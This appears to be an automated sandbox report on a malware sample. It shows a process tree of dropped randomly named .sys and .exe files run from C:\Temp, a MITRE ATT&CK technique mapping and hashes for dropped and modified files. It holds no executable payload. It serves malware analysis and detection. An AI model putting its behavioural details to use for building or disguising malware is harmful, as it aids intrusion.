  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5388,i,15173397988585788019,2847229722773527310,262144 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:10
      4⤵
      PID:5688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3408,i,1840198498557525451,3860544733218150564,524288 --field-trial-handle=2132,i,6486737900357540351,13315102977606343367,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:14
      4⤵
      PID:2264

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:812

C:\Temp\idyvqkidavtnlfdx.sys
C:\Temp\idyvqkidavtnlfdx.sys
1⤵
- Executes dropped EXE
PID:3468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5412

C:\Temp\sqkicavsnl.sys
C:\Temp\sqkicavsnl.sys
1⤵
- Executes dropped EXE
PID:2332

C:\Temp\causmkfcxv.sys
C:\Temp\causmkfcxv.sys
1⤵
- Executes dropped EXE
PID:1672

C:\Temp\xupnhfcamk.sys
C:\Temp\xupnhfcamk.sys
1⤵
- Executes dropped EXE
PID:4148

C:\Temp\cwusmkeczu.sys
C:\Temp\cwusmkeczu.sys
1⤵
- Executes dropped EXE
PID:3920

C:\Temp\romgezwuom.sys
C:\Temp\romgezwuom.sys
1⤵
- Executes dropped EXE
PID:1864

C:\Temp\ywqomjgbyt.sys
C:\Temp\ywqomjgbyt.sys
1⤵
- Executes dropped EXE
PID:5124

C:\Temp\bvtolgdyvt.sys
C:\Temp\bvtolgdyvt.sys
1⤵
- Executes dropped EXE
PID:1960

C:\Temp\jdbvtnlfdy.sys
C:\Temp\jdbvtnlfdy.sys
1⤵
- Executes dropped EXE
PID:336

C:\Temp\nifdavsqnl.sys
C:\Temp\nifdavsqnl.sys
1⤵
- Executes dropped EXE
PID:5832

C:\Temp\sqkicausnk.sys
C:\Temp\sqkicausnk.sys
1⤵
- Executes dropped EXE
PID:1056

C:\Temp\vpnhfzxvsn.sys
C:\Temp\vpnhfzxvsn.sys
1⤵
PID:5996

C:\Temp\wuspkhczxr.sys
C:\Temp\wuspkhczxr.sys
1⤵
PID:5340

C:\Temp\hbzurpjhcz.sys
C:\Temp\hbzurpjhcz.sys
1⤵
PID:4612

C:\Temp\trpmgecwug.sys
C:\Temp\trpmgecwug.sys
1⤵
PID:1944

C:\Temp\eywuoljdbz.sys
C:\Temp\eywuoljdbz.sys
1⤵
PID:5716

C:\Temp\geywqoigby.sys
C:\Temp\geywqoigby.sys
1⤵
PID:4596

C:\Temp\idavtnlida.sys
C:\Temp\idavtnlida.sys
1⤵
PID:1548

C:\Temp\faysqcaxsp.sys
C:\Temp\faysqcaxsp.sys
1⤵
PID:4652

C:\Temp\causqkicax.sys
C:\Temp\causqkicax.sys
1⤵
PID:3632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

causmkfcxv.sys

Path C:\Temp\causmkfcxv.sys
Size 293KB
SHA256 849bab3d1e19164484fc6bed34b05354a4aaab18b5f2799331264fd39731f73d
MD5 f0ad337428585dde539a90d5da78c896
SHA1 16246716536405c0a0c76f862712d64649b6c1bc
SHA512 f829d220f8916e3d2661dc4e44af10ff5a06354d5f5f27648e2605af22d928bca5d3630acb798393bd4f7bbb3fd7af65bb76dea8077c8273071605dbb7c31487
SSDEEP 3072:htKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:hIJjiJcbI03GBc3ucY5DCSj
TLSH
T133545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cwusmkeczu.sys

Path C:\Temp\cwusmkeczu.sys
Size 293KB
SHA256 9578355caf10586294b893942daa83775b004949b17172a94a1ffd130165c4e4
MD5 60c27e67a61e5c18d4c466e653200ee3
SHA1 950524971dc2b32cac8821c7f56898c1ae474d06
SHA512 7a2b7c7ad798e3a4837dabee969289a898988610384400cfc858157305559d3f7309bbad84c4085282452787392a57c86197b8fe55a4e1c6287c738bdeecae01
SSDEEP 3072:9tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:9IJjiJcbI03GBc3ucY5DCSj
TLSH
T1D2545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfaxvpnifa.exe

Path C:\Temp\hfaxvpnifa.exe
Size 361KB
SHA256 2c1ba403a8ec0cfc2b438fe41082e57bef9c8f505d982c9e8bb1afe652d2b0a1
MD5 5a751e9c2e493d6fca66b8ac079fe1de
SHA1 365b1c88b3ccdb43d96f7089bf3e9c3a6a0414af
SHA512 3100b541703fb5a19c0986e1858e560c5aedc9dd4e003e63d32abd65fdc969b574d3e0587ecdc0b0b94c4a93d1b08aaf632fe21c3ae13f93c5ec6adc1c0f837e
SSDEEP 6144:vflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:vflfAsiVGjSGecvX
TLSH
T1EE747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hfaxvpnifa.exe

Path C:\Temp\i_hfaxvpnifa.exe
Size 361KB
SHA256 41d86fd1f1ddd2ce611f21b06fc5c14dfc1e30b0a42c96e16953f085fa3066b5
MD5 7dd239d2b7c20441b4214391e3b24441
SHA1 d58ec9e3934a37925c013272eb3035007271aed9
SHA512 799e48b3bb1334646a707f7911b3d70636a0fc8d4f3101341b27945f8594d781ba0652e95ae037768b2a88724ede460028f87af0488eb4fecca0270ebd1ed1f0
SSDEEP 6144:cflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:cflfAsiVGjSGecvX
TLSH
T199747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lfdxvqnidv.exe

Path C:\Temp\i_lfdxvqnidv.exe
Size 361KB
SHA256 a35233e2ff4ada6d25c6dbc8b6573020c230f47c154ff4f6f7eee552dd29b872
MD5 e4b1aa3e986a7467ce0953be136a03ca
SHA1 5a38d2cb8448b16b9bad392c968a037f0020c5a8
SHA512 4a541b740ae9dbbd4884edf2fb1bcbc686745cc80d57dce2086bf83f3c7b7087b0b609348923bc60b4ad63139efd83fa6d73a3fca61ef5ffb8540d246cc2105c
SSDEEP 6144:DflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:DflfAsiVGjSGecvX
TLSH
T181747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pmhfzxrpjh.exe

Path C:\Temp\i_pmhfzxrpjh.exe
Size 361KB
SHA256 46795330b10e0d188559d6fcdf159b5e8caa81b659adce4eeeb2db60788970e5
MD5 5f802f9df0a592b0d4b1acd7b7057a3f
SHA1 4306be5488c52ecfba63486db092cccd581034d4
SHA512 6d49f8607711fde814144c5d9b8aeb24028845fa8f8e1f1b282ed852737c421b8e788b91f060318cdc280347d9ebbeaa68d885cfdacb4e18893c58bfab530c89
SSDEEP 6144:tflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:tflfAsiVGjSGecvX
TLSH
T14E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_spkicausnh.exe

Path C:\Temp\i_spkicausnh.exe
Size 361KB
SHA256 7c2b36536d0131aedd833e8e364348b36376fd56668631cab6784dcfd041b4a0
MD5 a972a1ea0f2b280c97933f424824a39b
SHA1 527e5850324a5b742e4ca2d5d5bc815eeb40f5c3
SHA512 b484969d8b35fccefa9ae37113cab3a261545cb8607fe8f6181f3dd3a300c80bc0725856a1c416eb4b111c75af368586c15a19d1418a26fa392a3495b5ffc0c2
SSDEEP 6144:7flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:7flfAsiVGjSGecvX
TLSH
T1DF747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xrpjhbzurm.exe

Path C:\Temp\i_xrpjhbzurm.exe
Size 361KB
SHA256 3da63ac857f6a25ed39fc386937f16dd335e3a86135c5eb3dc1081912d9cf0bb
MD5 ada23cc840152764e7f1344e43caf73a
SHA1 b88a4676577d3b47ba932f91ecb562cf2693b6f6
SHA512 2d016c1bdd9218c597f59a0188dba932a865510327f66d0846b99fa200eeed9669be7f6c73ad7b4b59f08e92814733ddbb1f8823fe5d3572170d4f7dbb489a17
SSDEEP 6144:AflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:AflfAsiVGjSGecvX
TLSH
T1C8747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idyvqkidavtnlfdx.exe

Path C:\Temp\idyvqkidavtnlfdx.exe
Size 361KB
SHA256 ff58390a94dc86696b56de9e4dcc4e256c3837b014a9d30e17af7813cb19752c
MD5 898c943f9981767843e39fb92e6a3c4e
SHA1 dac7acd9996ae2fb72934d4a8169099cab1c76e4
SHA512 7eaced1aa3208a68c9e740e3927fb5a4b98f6a7eb0ea26183fd4f6bf2f3a8b3693d928dd178e498d36540a87088bcfd17076aa76c9105ea1d38bf3661189fce3
SSDEEP 6144:iflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:iflfAsiVGjSGecvX
TLSH
T10E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idyvqkidavtnlfdx.sys

Path C:\Temp\idyvqkidavtnlfdx.sys
Size 293KB
SHA256 3a36e2516abf649fbb035ad4a0809ecab45f13037c5c594f66b12ada8486a2ec
MD5 ccdd49525f11647a84045a1d94fb7eab
SHA1 b22c58d7777df0ef7cd412727117c1a8e1758829
SHA512 78686c481c73ffdbc109b34af9820937dc7fc238712b191c0ea7c3c4dc4599266cec29f815fa31f7a15fe0d565a6273790b511a60c637d7b11bd645588b26fa6
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T179545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdxvqnidv.exe

Path C:\Temp\lfdxvqnidv.exe
Size 361KB
SHA256 08b9881c8015e5ebb0035de7b4083f86495642e3679de56530ff4ec8517b0c9b
MD5 913674e38212f22521aa97db05e695c6
SHA1 1e7a1f3ee5c6096646aa814a7523d9e09696db44
SHA512 69987f36be5ca5e74f264807eb95388f66f0ae7e02b4c77bb858607b77c44ee1640d8442b2227d7c21a5a928c4883bb6ab94d4d4bd6e8de746dde334618ad4b7
SSDEEP 6144:+flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:+flfAsiVGjSGecvX
TLSH
T1A6747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmhfzxrpjh.exe

Path C:\Temp\pmhfzxrpjh.exe
Size 361KB
SHA256 5735703ab852ec21e8a4618f3fdf396e9c98e6e5da045fcdc3c0b2b96ac3c202
MD5 50b8e6a5454c168122a04db8118f8f2e
SHA1 f9d83376ef79f3c7207f823e85508ad774d7edfe
SHA512 926582b972d953dd4b12b2a2abf9d864b75904caaa9db124562552cd90d86fc4a060203c5224268aca822ac968a69a4804559d77e6c7f9f1d21b347d761e89ba
SSDEEP 6144:JflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:JflfAsiVGjSGecvX
TLSH
T1DD747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

romgezwuom.sys

Path C:\Temp\romgezwuom.sys
Size 293KB
SHA256 74e7b8071ba4cc23b10d0feec44951d76144a620e61dce23d37485b8be1a9e5b
MD5 493789bb20d21f0ace9918a74cfda1e6
SHA1 27a161f305c40e0e8ae00926fdbe80e9eaf504fa
SHA512 5ba8fabdca088ff5bfea75678404647e3aaeb17dbde10a081d2d4672ef3d3327927d0d5e9fe723ddb534a1e0758600333a26a6cb180d7fb57657069baed58a76
SSDEEP 3072:ctKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:cIJjiJcbI03GBc3ucY5DCSj
TLSH
T1AF545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

romjhbztro.exe

Path C:\Temp\romjhbztro.exe
Size 361KB
SHA256 db22f4efc3b0200e21ffe5b4ca6d24f9b4bdc0d9de34fe1eedfb26b26e233749
MD5 80c1cd2fb16adb4da8986daea1b386b5
SHA1 9a221efc761de809479fc84f67aae6be7e0c7dd5
SHA512 e8df71ac97054e420ac645f0bd40f1136f1f131aff7b4925ad4ce9912fa78e16041c500df6bef711a3d242cedcca924fe74f9dae37538a09e98d0bfebe9e6535
SSDEEP 6144:NflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:NflfAsiVGjSGecvX
TLSH
T14C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spkicausnh.exe

Path C:\Temp\spkicausnh.exe
Size 361KB
SHA256 cde9a2e6c3fc6112cff4cab0a899a1fe74ac6c5479bc81ff1b67c99d44657a51
MD5 55cb7c5ad3f94c8eace5821f7e36c797
SHA1 e02ed1a99dec74d5b9ae0d4da21cb9ef860b3902
SHA512 6d97d9b3942ae7b361f8588f46c881b75e4bd7969abbdc64fda74b20c372f1a47dfddeeaffc77be75de73e93492e52edf5e4fb9254e7f98267f28e697aa5e2ee
SSDEEP 6144:FflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:FflfAsiVGjSGecvX
TLSH
T14F747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkicavsnl.sys

Path C:\Temp\sqkicavsnl.sys
Size 293KB
SHA256 316bd7b550493462d4d8ed5369425cf618dcb48f62a992c5c6c6658309fb632d
MD5 9799bec625839bfd8459ccba6344a235
SHA1 cbafc437f165acce2a12f433c9f78373b6eec3ea
SHA512 825c300ea4f1c76b697611d233e2b6a40134426f6e343bc9071fbe6f7cf0dfa8e9d02ef94ab172961c25ee81e85b54bf1c21e01536b712d47f7b111042c80f7c
SSDEEP 3072:WtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:WIJjiJcbI03GBc3ucY5DCSj
TLSH
T12B545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrpjhbzurm.exe

Path C:\Temp\xrpjhbzurm.exe
Size 361KB
SHA256 3748e50b22c3ae35d90e4bead2f0c31513836aad74ac1d754814f152e311ea83
MD5 e407f4a72cdd81171f6b9f6c690f7dde
SHA1 0c093e5abedf0beefcf35f47ffe668a043750cab
SHA512 fbffbc6e42661b3dbccb30a87fd4c2e4c92c8cf2c4e3fadae987a508b042f93d6f2f5f5c504454491a2319801d04017f21a86804311e5f1f393771df63caf104
SSDEEP 6144:xflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:xflfAsiVGjSGecvX
TLSH
T1A6747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xupnhfcamk.sys

Path C:\Temp\xupnhfcamk.sys
Size 293KB
SHA256 bacb7c434de43d8c5fb1b507b2917dff5cc31d7ef4c97e8cd287028851eb1afc
MD5 b791f49cbc4a69f9de6abdfb73ce0ff6
SHA1 5fdbb732c2a62a03d3c72e8ffdbd20692a326d42
SHA512 5522fa2ee3692fe7208ab1c7736d87afe21817e6ec014e79d5f80afa96096084ca5e85db6c4dca0eb829bc678d61e6b9956abbd41e1a01140d97cd49aee726bc
SSDEEP 3072:dtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:dIJjiJcbI03GBc3ucY5DCSj
TLSH
T1AD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6b4b91e2c6408056d62e9ab108c4a1bc3372697cc673aea50cc1ab639cb36d31
MD5 31627e295d41c3cf43475c41d5522c43
SHA1 03580db0a47167f6acdfbb28d1db3e5fd631377d
SHA512 b71b6edd012c155ef24382afc691d07b436ca311747e424ecd928e1ae50b54eb9c2cef7113ea3e73a4f92dfa3cafacd84c0410c0f05a6860d79a46a87ba532f3
TLSH
T192D0C0293D44FC02C1891070760133D0755001F03056C3C59002E02DDC3814083DB09B
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 37abd39218624bea608ed1c31cedc29697ad7dcee756e85d36f477bc96d5d79e
MD5 02d5d30f7a50d6501cf8e28620d036a8
SHA1 7b35285f7d86d5c3e0211627a1949eba907bccc2
SHA512 75c5013e8f146add9f0df252bb7669ce045b68d4f02b1aa7609d01a9ab18fda0f9b2e387ce15f36d76b8019dce58f4ed010f4a4528819164adeaf356a9fdc485
TLSH
T1FFD0C02D3D44FC02C1891070760033D0756001F03056C3C59002E01DDC3814083DB0AF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 ebacdae9a8e07517cb1eb7fc1edb70668c899f3226b9aee0beac5bafb4bfd51a
MD5 5466bab624f99122501daf42ddd1271d
SHA1 79b275629654d376e6a1b1e8824cb85050704c79
SHA512 ed302b163aa2f024bfc55a416836d3ffd738cc494923374ee67efdf9ed5b2c55213569c9db178b8337fece0991be64b9a2dc41334dfae20caa241fe4698cd6f8
TLSH
T1EB61F6160931FB25C7230CB651D655EBFF70F6730983AE189E56A73B481AB94E243233
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 87c356297703ca2cd2f4378450b874b989ec792de59e2bc185ee9d5d243a44c9
MD5 c96883aa1a32ee907e4c0aeb7e368f21
SHA1 616cebb0a211877c412753d3081189e09e2e5e40
SHA512 fbb413696391d8d8352847c652184692a92633986aaa07e717a768efa7721140c4192615b3d5d73ce949ea6c028a0619b3ac664496ed0ee571bf7783ba35f848
TLSH
T12951BEF7C7E8866E890156F0BA146E2BCE2D0954832C3D5AC8E4EF5B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 ce0450884c4b65ac2f289d34e851b9b2757c9734d0fa41afced0257bafbedb1e
MD5 5a323c3524030320a64454eeb3f65d4a
SHA1 a4df255f6863fb1dfaaf54347be0bf3696d69ef1
SHA512 48422db5fac716cbd6bde0b954f2a2672a8d12d6f0d5d5d25a9af9620eb62c62f4ff34acb0c8e322a424db37f77a131ef623eeca5fd829a231a19adeac966e6d
SSDEEP 192:sxRVfORIXyM/jK1Ml8wcY9/fy4sLw5PZ/RladizoA8pi/g6+WNIYHWRamGnrn7Iq:sxRMoCW/fTsLqRYi/5I3QH3
TLSH
T17052FA166A3459378CDBD209FA55BF53D2F81573A2905E44EAFC8A0C01E7ADD221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 5f95f73b0a06f30475e4e70bc9a62301734fe47522d834f9da70ee79f1b0dcd6
MD5 c1c46d5d1e058c2384a49b8c9990ade7
SHA1 cb2d4012fd9737e60ff74c1ec6798d38a2439518
SHA512 b61a78940950b506f6beb164a83ae89c3e757615314e50fc9777999dbd12b41e7eee3a0af92b98b008cd0bbab77fa826b7b6010c9c4a0bc1647556a842dec2c4
SSDEEP 192:sxRVKORIXyM/jK1Ml8wcY9/fy4sYtw5PZ/RlydizoA8p9VD/g6+WNCV/u/YHTHR9:sxRnoCW/fTs8qRw3/59/oQHq
TLSH
T1C962FB166A3459778CDBD209FA55BF53D2F81573A2901E44AAFC8A0C01E7BDD321782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 ad8a4fcdb41dbb410fe9923e16f69186d6484bfa319bade7212d4e7a00c97a1d
MD5 bb788f47055ac61af49db3742107ab36
SHA1 958e898a95260b5c9a82ea9cf62097b18c7f5c63
SHA512 6286402268f3cbf97814dfcd434962ca4bdafcced61697245ab425ce35399f82aba505c1e13a2936c1b960cf67a72c7ce0f9fa76e2aa65b63b6b6d3b6bf9bf2f
SSDEEP 192:sxRVKORIXyM/jK1Ml8UQYecY9/fy4sYtwxuxPZ/RlydizoA8prVD/g6+WNCV/u/m:sxRnoq+W/fTs8vRwB/59/2QH0
TLSH
T10C62E816AA2459778DDBD219FA51BF53D2F81573A2940E04AAFC8B0C01E7BDD321782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 338f2caee0a7d9c2d1223703304666957a5262275c375f1e5c3140ff7308edd5
MD5 4a041b920dd70d618d6b6c011bfb2a32
SHA1 a0b916eb885e1d2cd941b3cd983da5b38a6135d0
SHA512 1b603ceb2fd6b9ec9f99cfb547866413916a0c641709a6c1fb0f0685fb572c9899865c4b47875d214a1ab2fefa3ee5de4acb5369800d47885b07eb97f74f3a65
SSDEEP 768:6laYfO7pLuL7mjWgRNf2b8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6S8Azwzro3Jld:6laYfOE7mjWgRNf2bu1jaFS8UwA5ld
TLSH
T1A6E2EC3B680CCB7E4F80499CED297D8AADAC02CF56D88D5447EA481C03C67EB551A5EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 6KB
SHA256 46e99c67bcd97d434c5d7141092a9ae138ecd4eae4987d2adc60f05b716dfca2
MD5 09aa7dd16cc6ca113bf3397a182e3d64
SHA1 94398ce8f12c55a61e7bd2ec0f325a8674199225
SHA512 edc2f1b351db20d73481ca725649eb105097d713ef69ce944fc187e25b496c85952a08d6bdeb1a4fd84794b5a70751c2298c6ad1cc5d460d8b8d000b229271e6
SSDEEP 192:9f2DvFB1I5kjHbF3NQXHUtf94BcVBXvvW/qRhBb3raZhS7Rv4ri3bp9B89w/zfhX:9f2DvFB1I5kjHbF3NQXHUtfGBcVBXvvr
TLSH
T1F3E1060171761B40787E691A8378955F1947305231DFA42B7BA93AF16F2AF004FFDAC9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0e47cb2a-7296-41e0-ab7a-2ab04efd4aee.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\0e47cb2a-7296-41e0-ab7a-2ab04efd4aee.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
